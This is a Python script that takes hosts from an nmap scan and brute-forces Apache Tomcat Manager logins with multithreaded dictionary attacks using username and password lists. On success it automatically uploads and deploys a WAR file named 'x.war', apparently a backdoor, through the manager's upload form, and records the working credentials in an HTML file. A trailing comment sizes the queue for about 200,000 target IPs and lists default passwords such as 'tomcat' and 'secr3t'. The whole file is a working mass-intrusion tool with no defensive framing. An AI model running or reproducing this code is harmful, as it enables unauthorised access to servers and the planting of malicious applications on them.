# coding=utf-8
from operator import le
from queue import Queue
from log_bruteforce import Logger
logger = Logger().get_log
headers ={
    'Accept-Encoding':'gzip, deflate',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Connection':'close',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36'
}
work = Queue()
dic_ips = dict()
users  = [user.strip() for user in open('users.txt')]
pwds = [pwd.strip() for pwd in open('passwd.txt')]
# to confirm bruted server is Jenkins Server
sub  = set(['X-Hudson','X-Jenkins','X-Jenkins-Session','Server'])
path = {'Apache':'manager/html','Jenkins':'login?from=%2F'}

def startparse():
    import xml.etree.ElementTree as tree
    global dic_ips
    tr = tree.parse('result.xml')
    root = tr.getroot()
    ips = []
    ports = []
    [ips.append(x.attrib['addr']) for x in root.iter('address')]
    [ports.append(x.attrib['portid']) for x in root.iter('port')]
    dic_ips ={port:[] for port in list(set(ports))}
    # dic_ips = dict.fromkeys(set(ports),list())    # new mer is the same
    [dic_ips[x[0]].append(x[1]) for x in zip(ports,ips)]
    for x,y in dic_ips.items():
        print(x,len(y))
    # a = 0
    # for x in zip(ports,ips):
    #     print(x)
    #     a+=1
    #     if a>10:
    #         break
#准备爆破
import requests,mechanize
from urllib import parse
from requests.auth import HTTPBasicAuth
from threading import Thread
def mk(port,ips):
    auths = []
    for user in users:
        for pwd in pwds:
            auths.append((user,pwd))
    # print(auths)
    for ip,au in {ip:auths for ip in ips}.items():
        work.put({'ip':ip,'port':port,'auths':au})
def Brute(**kwargs):
    ip = kwargs['ip']
    port = kwargs['port']
    auths = kwargs['auths']
    url = "http://{ip}:{port}/manager/html".format(ip=ip,port=port)
    # url = detect(url)
    resp = None
    for au in auths:
        user = au[0]
        pwd = au[1]
        try:
            resp = requests.get(url,headers=headers,auth = HTTPBasicAuth(user,pwd),timeout=1)
            status = resp.status_code
            if status == 200:
                if 'The Tomcat Servlet/JSP Container' in resp.text:
                    # isdeployed = deployApplication(url,user,pwd)
                    deployApplication(url,user,pwd)
                    good  = "<a href='http://{user}:{passwd}@{ip}:{p}/manager/html'>{url}<a><br>".format(
                        ip = ip,
                        user = user,
                        passwd =pwd,
                        p = port,
                        url = url
                    )
                    logger.info('apache:%s' % url)
                    with open('good.html','a+') as f:
                        f.writelines(good)
                # elif 'Jenkins' in resp.text:
                #     logger.info('jenkins:%s' % url)
                #     good = "<a href='http://{ip}:{p}/login'>{url}<a><br>user:{user}<br>pwd:{passwd}<br>".format(
                #         ip = ip,
                #         user = user,
                #         passwd =pwd,
                #         p = port,
                #         url = url
                #     )
                #     with open('good.html','a+') as f:
                #         f.writelines(good)
            if status == 404 or status == 401:
                logger.error('{status}{user}:{pwd}|{url}'.format(status=status,user=user,pwd=pwd,url=url))
            resp.close()
        except Exception as e:
            logger.error('Brute func:%s|%s' % (e,url))
            if resp is not None:
                resp.close()
# def detect(url):
#     resp = None
#     try:
#         resp = requests.get(url,timeout=0.3)
#         if 'Server' in resp.headers:
#             if isApache(resp):
#                 if url != resp.url:
#                     url = resp.url
#                 url = urlparse.urljoin(url,path['Apache'])
#                 # logger.debug('apache:%s' % url)
#                 return url
#             if isJenkins(resp):
#                 if url != resp.url:
#                     url = resp.url
#                 url = urlparse.urljoin(url,path['Jenkins'])
#                 # logger.debug('Jenkins:%s'% url)
#                 return url
#         resp.close()
#     except Exception as e:
#         # logger.error("detect func:%s" % e)
#         if resp is not None:
#             resp.close()
#     return None
# def isApache(resp):
#     if 'Apache-Coyote' in resp.headers['Server']:
#         return True
#     return False
# def isJenkins(resp):
#     if sub.issubset(resp.headers) and 'Jetty' in resp.headers['Server']:
#         return True
#     return False         
def deployApplication(url,user,pwd,app='x.war'):
    bros = mechanize.Browser()
    cookie = mechanize.LWPCookieJar()
    COOLIE = cookie
    bros.set_cookiejar(cookie)
    bros.set_handle_robots(False)
    bros.add_password(url,user,pwd)
    try:
        resp = bros.open(url)
        if resp.getcode() == 200:
            for form in bros.forms():
                action = parse.quote_plus(form.action)
                if 'upload' in action:
                    bros.form = form
                    # print(bros.form.action)
                    # for cj in COOLIE:
                    #     if cj.name == 'JSESSIONID':
                    #         # bros.form.action = url + '/upload;jsessionid={}'.format(cj.value)
                    #         pass
                    bros.form.add_file(
                        open(app,'rb'),
                        'application/octet-stream',
                        app
                    )
                    bros.submit()
                    bros.close()
                    return True   # save to the good text
    except Exception as e:
        # with open('failed.txt','a+') as f:
        #     f.write(url+'\t'+str(e)+'\n')
        return True    # logging that fail to updeploy
def ThreadBruteTomcat():
    while True:
        info = work.get()
        Brute(**info)
        work.task_done()
def start(port,ips):
    mk(port,ips)
    for x in range(20):
        t = Thread(target=ThreadBruteTomcat)
        t.setDaemon(True)
        t.start()
    work.join()  ###join 堵塞队列
if __name__ == "__main__":
    from multiprocessing import Pool
    from time import time
    startparse()
    pool = Pool()
    [pool.apply_async(start,(port,ips)) for port,ips in dic_ips.items()]
    pool.close()
    print('begin time  is %s' % time())
    pool.join()# 挂起
    print("Sub-processes(es) is done %s" % time())


'''
改变数据结构后 数据装填速度提升至1-2秒
ips = range(200000)
users = ['admin','root']
passwd = ['admin','tomcat','role','manager','secr3t']
auths = []
for user in users:
    for pwd in passwd:
        auths.append((user,pwd))
目标形式 queue = [{ip:[(user1,pass1),(user2,pass2)]}...]
from Queue import Queue
q = Queue()
from time import time
from datetime import datetime
print(datetime.now())
start = time()
for k,v in {ip:auths for ip in ips}.items():
    q.put({'ip':k,'auths':v})
print(datetime.now())
print(time()-start)
print(q.get())
'''
